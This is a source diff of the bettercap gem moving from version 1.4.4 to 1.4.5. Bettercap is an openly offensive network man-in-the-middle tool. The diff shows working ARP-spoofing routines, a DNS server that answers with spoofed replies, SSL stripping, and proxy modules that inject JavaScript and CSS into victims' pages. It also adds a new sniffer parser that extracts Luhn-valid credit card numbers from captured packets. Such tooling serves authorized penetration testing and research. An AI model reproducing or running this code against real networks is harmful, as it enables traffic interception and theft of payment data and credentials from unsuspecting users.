bettercap 1.4.4 → 1.4.5

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
-  data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
+  metadata.gz: 36c1b50612037538a301084dd6780fbbe25ce5c8
+  data.tar.gz: 24c4fea056b5f2c2a8be6520ddb1f81895d7630a
 SHA512:
-  metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
-  data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
+  metadata.gz: 1d0d3cf857d16c39ec4da7bb37a00892397050b5f2ff4f37227c7a9ba2af0f40f07cf0869064fe90a609bcd838bee85d3df1d5805f43223b8a853d5158dc17f6
+  data.tar.gz: 930097cd8f7103cefaa4f5e79feedbe0adbab02cccd7c4705d7c5d72a1b3146ae3e6f91be1a13e246ae258516b57117da5c05cf867d07a20279e236948a88c2b

data/lib/bettercap/context.rb

@@ -35,9 +35,6 @@ class Context
   attr_accessor :httpd
   # Instance of BetterCap::Network::Servers::DNSD class.
   attr_accessor :dnsd
-  # Instance of Proxy::SSL::Authority class used
-  # for the HTTPS transparent proxy.
-  attr_accessor :authority
   # Set to true if the program is running, to false if a shutdown was
   # scheduled by the user which pressed CTRL+C
   attr_accessor :running
@@ -71,11 +68,9 @@ class Context
     @gateway         = nil
     @gateway_mac_resolved = false
     @targets         = []
-    @proxy_processor = nil
     @spoofer         = nil
     @httpd           = nil
     @dnsd            = nil
-    @authority       = nil
     @proxies         = []
     @redirections    = []
     @discovery       = Discovery::Thread.new self
@@ -213,47 +208,17 @@ class Context
   def create_proxies!
     if @options.has_proxy_module?
       Proxy::Module.register_modules
-
       raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
     end
 
-    @proxy_processor = Proc.new do |request,response|
-      if Proxy::Module.modules.empty?
-        Logger.debug 'WARNING: No proxy module loaded, skipping request.'
-      else
-        # loop each loaded module and execute if enabled
-        Proxy::Module.modules.each do |mod|
-          if mod.enabled?
-            # we need to save the original response in case something
-            # in the module will go wrong
-            original = response
-
-            begin
-              if response.nil?
-                mod.on_pre_request request
-              else
-                mod.on_request request, response
-              end
-            rescue Exception => e
-              Logger.warn "Error with proxy module: #{e.message}"
-              Logger.exception e
-
-              response = original
-            end
-          end
-        end
-      end
-    end
-
     # create HTTP proxy
     if @options.proxy
-      @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
+      @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false )
     end
 
     # create HTTPS proxy
     if @options.proxy_https
-      @authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
-      @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
+      @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true )
     end
 
     @proxies.each do |proxy|

data/lib/bettercap/discovery/thread.rb

@@ -71,13 +71,13 @@ class Thread
       if diff[:new].empty?
         snew = ""
       else
-        snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}"
+        snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}"
       end
 
       if diff[:lost].empty?
         slost = ""
       else
-        slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}"
+        slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}"
       end
 
       Logger.info "#{snew}#{slost} :"

data/lib/bettercap/network/packet_queue.rb

@@ -49,7 +49,7 @@ class PacketQueue
 
   # Notify the queue to stop and wait for every worker to finish.
   def stop
-    wait_empty( 60 )
+    wait_empty( 6000 )
     @running = false
     @nworkers.times { push(nil) }
     @workers.map(&:join)

data/lib/bettercap/network/servers/dnsd.rb

@@ -30,7 +30,7 @@ class DnsWrapper < RubyDNS::RuleBasedServer
   # Instantiate a server with a block.
   def initialize(options = {}, &block)
     super(options,&block)
-    @rules = options[:rules]
+    @rules     = []
     @@instance = self
   end
   # Give a name and a record type, try to match a rule and use it for processing the given arguments.
@@ -48,31 +48,18 @@ class DNSD
   def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
     @port    = port
     @address = address
+    @hosts   = hosts_filename
     @server  = nil
-    @rules   = []
-    @thread  = nil
     @ifaces  = [
       [:udp, address, port],
       [:tcp, address, port]
     ]
-
-    unless hosts_filename.nil?
-      DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
-        block = Proc.new do |transaction|
-          Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
-          transaction.respond!(addr)
-        end
-
-        @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
-      end
-
-      Logger.warn "Empty hosts file for DNS server." if @rules.empty?
-    end
   end
 
   # Add a rule to the DNS resolver at runtime.
-  def add_rule( exp, addr )
+  def add_rule!( exp, addr )
     Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
+
     block = Proc.new do |transaction|
       Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
       transaction.respond!(addr)
@@ -83,37 +70,35 @@ class DNSD
 
   # Start the server.
   def start
-    Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
-
-    @thread = Thread.new {
-      options = {
-        :listen => @ifaces,
-        :asynchronous => true,
-        :server_class => DnsWrapper,
-        :rules => @rules
-      }
-
-      RubyDNS::run_server( options ) do
-        # Suppress RubyDNS logging.
-        @logger.level = ::Logger::ERROR
-        @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
-
-        # Default DNS handler
-        otherwise do |transaction|
-          Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
-          transaction.passthrough!(@upstream)
-        end
-      end
+    Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..."
+
+    options = {
+      :listen => @ifaces,
+      :asynchronous => true,
+      :server_class => DnsWrapper
     }
+
+    RubyDNS::run_server( options ) do
+      # Suppress RubyDNS logging.
+      @logger.level = ::Logger::ERROR
+      @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
+
+      # Default DNS handler
+      otherwise do |transaction|
+        Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
+        transaction.passthrough!(@upstream)
+      end
+    end
+
+    unless @hosts.nil?
+      DNSD.parse_hosts( @hosts ).each do |exp,addr|
+        add_rule!( exp, addr )
+      end
+    end
   end
 
   # Stop the server.
-  def stop
-    Logger.info "Stopping DNS server ..."
-    begin
-      @thread.kill
-    rescue; end
-  end
+  def stop; end
 
   # Parse hosts from +filename+, example host file:
   #
@@ -142,7 +127,7 @@ class DNSD
           unless Network::Validator.is_ip?(address)
 
         begin
-          hosts[ Regexp.new(expression) ] = address
+          hosts[ expression ] = address
         rescue RegexpError
           raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'."
         end

data/lib/bettercap/network/target.rb

@@ -76,13 +76,13 @@ class Target
 
   # Return a verbose string representation of this object.
   def to_s(padding=true)
-    if padding
-      s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac )
-    else
-      s = sprintf( '%s : %s', if @ip.nil? then '???' else @ip end, @mac )
-    end
+    address = @ip.nil?? '???' : @ip
+    fmt     = padding ? '%-15s : %-17s' : '%s : %s'
+    vendor  = @vendor.nil?? " ( ??? )" : " ( #{@vendor} )"
+
+    s = sprintf( fmt, address, @mac )
     s += " / #{@hostname}" unless @hostname.nil?
-    s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end
+    s += vendor
     s
   end
 
@@ -111,7 +111,7 @@ class Target
   end
 
   def self.normalized_mac(v)
-    v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':')
+    v.split(':').map { |e| e.size == 2 ? e.upcase : "0#{e.upcase}" }.join(':')
   end
 
 private

data/lib/bettercap/options.rb

@@ -452,9 +452,9 @@ class Options
   def parse_custom_proxy!(value, https=false)
     raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
     if https
-      @custom_proxy = value
-    else
       @custom_https_proxy = value
+    else
+      @custom_proxy = value
     end
   end
 

data/lib/bettercap/proxy/modules/injectcss.rb

@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
   def on_request( request, response )
     # is it a html page?
     if response.content_type =~ /^text\/html.*/
-      BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
+      BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
       # inject URL
       if @@cssdata.nil?
         response.body.sub!( '</head>', "  <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )

data/lib/bettercap/proxy/modules/injectjs.rb

@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
   def on_request( request, response )
     # is it a html page?
     if response.content_type =~ /^text\/html.*/
-      BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
+      BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
       # inject URL
       if @@jsdata.nil?
         response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )

data/lib/bettercap/proxy/proxy.rb

@@ -15,10 +15,9 @@ module BetterCap
 module Proxy
 # Transparent proxy class.
 class Proxy
-  # Initialize the transparent proxy, making it listen on +address+:+port+ and
-  # use the specified +processor+ routine for each request.
+  # Initialize the transparent proxy, making it listen on +address+:+port+.
   # If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one.
-  def initialize( address, port, is_https, processor )
+  def initialize( address, port, is_https )
     @socket        = nil
     @address       = address
     @port          = port
@@ -30,7 +29,7 @@ class Proxy
     @main_thread   = nil
     @running       = false
     @local_ips     = []
-    @streamer      = Streamer.new( processor, need_sslstrip? )
+    @streamer      = Streamer.new( need_sslstrip? )
 
     begin
       @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }

data/lib/bettercap/proxy/ssl/server.rb

@@ -26,7 +26,7 @@ class Server
 
   # Create an instance from the TCPSocket +socket+.
   def initialize( socket )
-    @authority    = Context.get.authority
+    @authority    = Authority.new( Context.get.options.proxy_pem_file )
     @context      = OpenSSL::SSL::SSLContext.new
     @context.cert = @authority.certificate
     @context.key  = @authority.key

data/lib/bettercap/proxy/sslstrip/strip.rb

@@ -293,7 +293,7 @@ class Strip
     rescue; end
 
     unless links.empty?
-      Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
+      Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
 
       links.each do |l|
         original, stripped = l
@@ -311,7 +311,7 @@ class Strip
       original_address  = IPSocket.getaddress( o.original_hostname )
       @stripped << o
       # make sure we're able to resolve the stripped domain
-      @resolver.add_rule( stripped_hostname, original_address )
+      @resolver.add_rule!( stripped_hostname, original_address )
     rescue Exception => e
       Logger.exception(e)
     end

data/lib/bettercap/proxy/stream_logger.rb

@@ -144,7 +144,8 @@ class StreamLogger
   # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
   # with the +request+ and +response+ most important informations.
   def self.log_http( request, response )
-    response_s = "( #{response.content_type} )"
+    response_s = ""
+    response_s += " ( #{response.content_type} )" unless response.content_type.nil?
     request_s  = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
     code       = response.code.to_s[0]
 
@@ -154,7 +155,7 @@ class StreamLogger
       response_s += " [#{response.code}]"
     end
 
-    Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
+    Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
     # Log post body if the POST sniffer is enabled.
     if Context.get.post_sniffer_enabled?
       self.log_post( request )

data/lib/bettercap/proxy/streamer.rb

@@ -15,9 +15,8 @@ module BetterCap
 module Proxy
 # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
 class Streamer
-  # Initialize the class with the given +processor+ routine.
-  def initialize( processor, sslstrip )
-    @processor = processor
+  # Initialize the class.
+  def initialize( sslstrip )
     @ctx       = Context.get
     @sslstrip  = SSLStrip::Strip.new( @ctx ) if sslstrip
   end
@@ -55,14 +54,14 @@ class Streamer
 
       if r.nil?
         # call modules on_pre_request
-        @processor.call( request, nil )
+        process( request )
 
         self.send( "do_#{request.method}", request, response )
       else
         response = r
       end
 
-      if response.textual?
+      if response.textual? or request.method == 'DELETE'
         StreamLogger.log_http( request, response )
       else
         Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
@@ -84,7 +83,7 @@ class Streamer
       strip_security( response )
 
       # call modules on_request
-      @processor.call( request, response )
+      process( request, response )
 
       client.write response.to_s
     rescue NoMethodError => e
@@ -95,6 +94,31 @@ class Streamer
 
   private
 
+  # Run proxy modules.
+  def process( request, response = nil )
+    # loop each loaded module and execute if enabled
+    BetterCap::Proxy::Module.modules.each do |mod|
+      if mod.enabled?
+        # we need to save the original response in case something
+        # in the module will go wrong
+        original = response
+
+        begin
+          if response.nil?
+            mod.on_pre_request request
+          else
+            mod.on_request request, response
+          end
+        rescue Exception => e
+          Logger.warn "Error with proxy module: #{e.message}"
+          Logger.exception e
+
+          response = original
+        end
+      end
+    end
+  end
+
   # List of security headers to remove/patch from any response.
   # Thanks to Mazin Ahmed ( @mazen160 )
   SECURITY_HEADERS = {
@@ -163,6 +187,13 @@ class Streamer
     end
   end
 
+  # Handle a DELETE request, +req+ is the request object and +res+ the response.
+  def do_DELETE(req, res)
+    perform_proxy_request(req, res) do |http, path, header|
+      http.delete(path, header)
+    end
+  end
+
   # Handle a POST request, +req+ is the request object and +res+ the response.
   def do_POST(req, res)
     perform_proxy_request(req, res) do |http, path, header|

data/lib/bettercap/sniffer/parsers/creditcard.rb

@@ -0,0 +1,62 @@
+=begin
+
+BETTERCAP
+
+Author : Simone 'evilsocket' Margaritelli
+Email  : evilsocket@gmail.com
+Blog   : http://www.evilsocket.net/
+
+This project is released under the GPL 3 license.
+
+=end
+
+module BetterCap
+module Parsers
+# CC parser.
+class CreditCard < Base
+  PARSERS = [
+    # All major cards.
+    /(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
+    # American Express
+    /(3[47][0-9]{13})/m,
+    # Diners Club
+    /(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
+    # Discover
+    /(6011[0-9]{12})/m,
+    # MasterCard
+    /(5[1-5][0-9]{14})/m,
+    # Visa
+    /(4[0-9]{12}(?:[0-9]{3})?)/m
+  ].freeze
+
+  def on_packet( pkt )
+    begin
+      payload = pkt.to_s
+      PARSERS.each do |expr|
+        matches = payload.scan( expr )
+        matches.each do |m|
+          StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
+        end
+        break unless matches.empty?
+      end
+    rescue; end
+  end
+
+  # Validate +cc+ with Lughn algorithm.
+  def luhn?(cc)
+    digits = cc.split(//).map(&:to_i)
+    last   = digits.pop
+
+    products = digits.reverse.map.with_index do |n,i|
+        i.even? ? n*2 : n*1
+    end.reverse
+    sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
+    checksum = 10 - (sum % 10)
+    checksum == 10 ? 0 : checksum
+
+    ( last == checksum )
+  end
+
+end
+end
+end

data/lib/bettercap/spoofers/arp.rb

@@ -67,8 +67,6 @@ class Arp < Base
     raise 'ARP spoofer is not running' unless @running
 
     Logger.debug 'Stopping ARP spoofer ...'
-    Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
-    @ctx.firewall.enable_forwarding( @forwarding )
 
     @running = false
     begin
@@ -81,11 +79,15 @@ class Arp < Base
     @ctx.targets.each do |target|
       unless target.ip.nil? or target.mac.nil?
         5.times do
-          spoof(target)
+          spoof(target, true)
           sleep 0.3
         end
       end
     end
+
+    Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
+
+    @ctx.firewall.enable_forwarding( @forwarding )
   end
 
   private
@@ -94,11 +96,11 @@ class Arp < Base
   # restore its ARP cache instead.
   def spoof( target, restore = false )
     if restore
+      send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
+      send_spoofed_packet( target.ip, target.mac, @gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.half_duplex
+    else
       send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
       send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
-    else
-      send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac )
-      send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
     end
   end
 
@@ -106,7 +108,7 @@ class Arp < Base
   def arp_spoofer
     spoof_loop(1) { |target|
       unless target.ip.nil? or target.mac.nil?
-        spoof(target, true)
+        spoof(target)
       end
     }
   end

data/lib/bettercap/update_checker.rb

@@ -32,7 +32,7 @@ class UpdateChecker
   def self.vton v
     vi = 0.0
     v.split('.').reverse.each_with_index do |e,i|
-      vi += ( e.to_i * 10**i ) - ( if e =~ /[\d+]b/ then 0.5 else 0 end )
+      vi += ( e.to_i * 10**i ) - ( e =~ /[\d+]b/ ? 0.5 : 0 )
     end
     vi
   end

data/lib/bettercap/version.rb

@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
 =end
 module BetterCap
   # Current version of bettercap.
-  VERSION = '1.4.4'
+  VERSION = '1.4.5'
   # Program banner.
   BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: bettercap
 version: !ruby/object:Gem::Version
-  version: 1.4.4
+  version: 1.4.5
 platform: ruby
 authors:
 - Simone Margaritelli
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2016-02-24 00:00:00.000000000 Z
+date: 2016-02-29 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: colorize
@@ -171,6 +171,7 @@ files:
 - lib/bettercap/shell.rb
 - lib/bettercap/sniffer/parsers/base.rb
 - lib/bettercap/sniffer/parsers/cookie.rb
+- lib/bettercap/sniffer/parsers/creditcard.rb
 - lib/bettercap/sniffer/parsers/custom.rb
 - lib/bettercap/sniffer/parsers/dhcp.rb
 - lib/bettercap/sniffer/parsers/dict.rb